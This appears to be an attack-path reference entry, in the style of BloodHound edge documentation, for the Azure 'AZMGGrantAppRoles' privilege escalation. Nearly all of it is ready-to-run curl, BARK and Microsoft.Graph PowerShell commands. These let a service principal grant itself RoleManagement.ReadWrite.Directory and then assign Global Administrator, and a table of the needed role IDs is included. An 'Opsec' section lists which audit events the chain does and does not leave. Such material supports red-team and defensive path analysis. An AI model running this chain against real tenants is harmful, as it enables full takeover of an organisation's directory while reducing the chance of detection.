AZMGGrantAppRoles

The source service principal holds the MS Graph app role AppRoleAssignment.ReadWrite.All (or equivalent), allowing it to grant any MS Graph application permission to any service principal β€” enabling full tenant compromise.

Applies to: AZServicePrincipal β†’ AZServicePrincipal (MS Graph)


Linux Abuse

Step 1 β€” Get client credentials token

TOKEN=$(curl -s -X POST \
  "https://login.microsoftonline.com/<tenant-id>/oauth2/v2.0/token" \
  -d "client_id=<app-id>&client_secret=<secret>&scope=https://graph.microsoft.com/.default&grant_type=client_credentials" \
  | jq -r '.access_token')

Step 2 β€” Get MS Graph service principal object ID

GRAPH_SP_ID=$(curl -s \
  "https://graph.microsoft.com/v1.0/servicePrincipals?\$filter=appId eq '00000003-0000-0000-c000-000000000000'" \
  -H "Authorization: Bearer $TOKEN" | jq -r '.value[0].id')

Step 3 β€” Grant RoleManagement.ReadWrite.Directory to controlled SP

curl -s -X POST "https://graph.microsoft.com/v1.0/servicePrincipals/<object-id>/appRoleAssignments" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d "{
    \"principalId\": \"<object-id>\",
    \"resourceId\": \"$GRAPH_SP_ID\",
    \"appRoleId\": \"9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8\"
  }"

Step 4 β€” Assign Global Admin to controlled principal

curl -s -X POST "https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "principalId": "<object-id>",
    "roleDefinitionId": "62e90394-69f5-4237-9190-012177145e10",
    "directoryScopeId": "/"
  }'

Windows Abuse

BARK β€” full chain

# Step 1: Get token
$MGToken = Get-MSGraphTokenWithClientCredentials `
  -ClientID "34c7f844-b6d7-47f3-b1b8-720e0ecba49c" `
  -ClientSecret "asdf..." `
  -TenantName "contoso.onmicrosoft.com"

# Step 2: Find MS Graph SP ID
$SPs = Get-MgServicePrincipal -All
$GraphSPId = ($SPs | Where-Object {$_.AppId -eq "00000003-0000-0000-c000-000000000000"}).Id

# Step 3: Grant RoleManagement.ReadWrite.Directory
New-EntraAppRoleAssignment `
  -SPObjectId "<object-id>" `
  -AppRoleID "9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8" `
  -ResourceID $GraphSPId `
  -Token $MGToken.access_token

# Step 4: Assign Global Administrator
New-EntraRoleAssignment `
  -PrincipalID "<object-id>" `
  -RoleDefinitionId "62e90394-69f5-4237-9190-012177145e10" `
  -Token $MGToken.access_token

Microsoft.Graph PowerShell

Connect-MgGraph -AccessToken <access-token>

$GraphSP = Get-MgServicePrincipal -Filter "appId eq '00000003-0000-0000-c000-000000000000'"

New-MgServicePrincipalAppRoleAssignment `
  -ServicePrincipalId "<object-id>" `
  -PrincipalId "<object-id>" `
  -ResourceId $GraphSP.Id `
  -AppRoleId "9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8"

$params = @{
  principalId      = "<object-id>"
  roleDefinitionId = "62e90394-69f5-4237-9190-012177145e10"
  directoryScopeId = "/"
}
New-MgRoleManagementDirectoryRoleAssignment @params

Key App Role IDs (MS Graph)

Permission App Role ID
RoleManagement.ReadWrite.Directory 9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8
AppRoleAssignment.ReadWrite.All 06b708a9-e830-4db3-a914-8ddd2cca8d88
Application.ReadWrite.All 1bfefb4e-e0b5-418b-a88f-73c46d2cc8e9
User.ReadWrite.All 741f803b-c850-494e-b5df-cde7c675a1ca
Global Administrator role 62e90394-69f5-4237-9190-012177145e10

Opsec

  • Audit event: "Add app role assignment to service principal" β€” logs actor, target SP, app role granted, timestamp.
  • Full chain (grant role β†’ assign GA) creates two distinct audit events.
  • This capability is invisible in Azure Portal UI β€” only visible via audit logs or API queries.
  • Token from client_credentials flow does not generate interactive sign-in events.